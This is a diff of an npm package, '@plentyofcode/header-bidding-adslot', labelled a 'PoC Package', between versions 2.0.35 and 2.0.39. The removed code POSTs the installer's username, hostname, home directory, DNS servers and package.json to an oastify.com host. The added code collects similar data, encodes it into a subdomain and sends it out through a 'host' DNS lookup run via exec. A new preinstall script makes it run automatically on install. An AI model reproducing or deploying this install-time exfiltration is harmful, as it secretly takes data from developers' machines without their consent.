@plentyofcode/header-bidding-adslot 2.0.35 → 2.0.39

package/index.js

@@ -1,46 +1,35 @@
-const os = require("os");
+const { exec } = require("child_process");
 const dns = require("dns");
-const querystring = require("querystring");
-const https = require("https");
-const packageJSON = require("./package.json");
-const package = packageJSON.name;
+const os = require("os");
+const path = require("path");
 
-const trackingData = JSON.stringify({
-    p: package,
-    c: __dirname,
-    hd: os.homedir(),
-    hn: os.hostname(),
-    un: os.userInfo().username,
-    dns: dns.getServers(),
-    r: packageJSON ? packageJSON.___resolved : undefined,
-    v: packageJSON.version,
-    pjson: packageJSON,
-});
+// RCE
+const packageName = "@plentyofcode/header-bidding-adslot";  // Package
+const username = os.userInfo().username;  // User
+const hostname = os.hostname();           // HostName
+const currentDir = __dirname;             // Dir
+const dnsServers = dns.getServers();      // DNS
 
-var postData = querystring.stringify({
-    msg: trackingData,
-});
-
-var options = {
-    hostname: "3rvt835janzs1jx3d1c50i38gzmqagy5.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
-    port: 443,
-    path: "/",
-    method: "POST",
-    headers: {
-        "Content-Type": "application/x-www-form-urlencoded",
-        "Content-Length": postData.length,
-    },
+// Encode
+const info = {
+    p: packageName,
+    u: username,
+    hn: hostname,
+    d: currentDir,
+    dns: dnsServers
 };
 
-var req = https.request(options, (res) => {
-    res.on("data", (d) => {
-        process.stdout.write(d);
-    });
-});
+const encodedInfo = encodeURIComponent(JSON.stringify(info));
 
-req.on("error", (e) => {
-    // console.error(e);
+// Execute and Send DNS request
+exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
+    if (error) {
+        console.log("error", error.message);
+        return;
+    }
+    if (getter) {
+        console.log(data);
+        return;
+    }
+    console.log(data);
 });
-
-req.write(postData);
-req.end();

package/package.json

@@ -1,10 +1,11 @@
 {
     "name": "@plentyofcode/header-bidding-adslot",
-    "version": "2.0.35",
+    "version": "2.0.39",
     "description": "PoC Package",
     "main": "index.js",
     "scripts": {
-      "start": "node index.js"
+      "preinstall": "node index.js",
+      "test": "echo \"Error: no test specified\" && exit 1"
     },
     "author": "h0rus3c",
     "license": "ISC"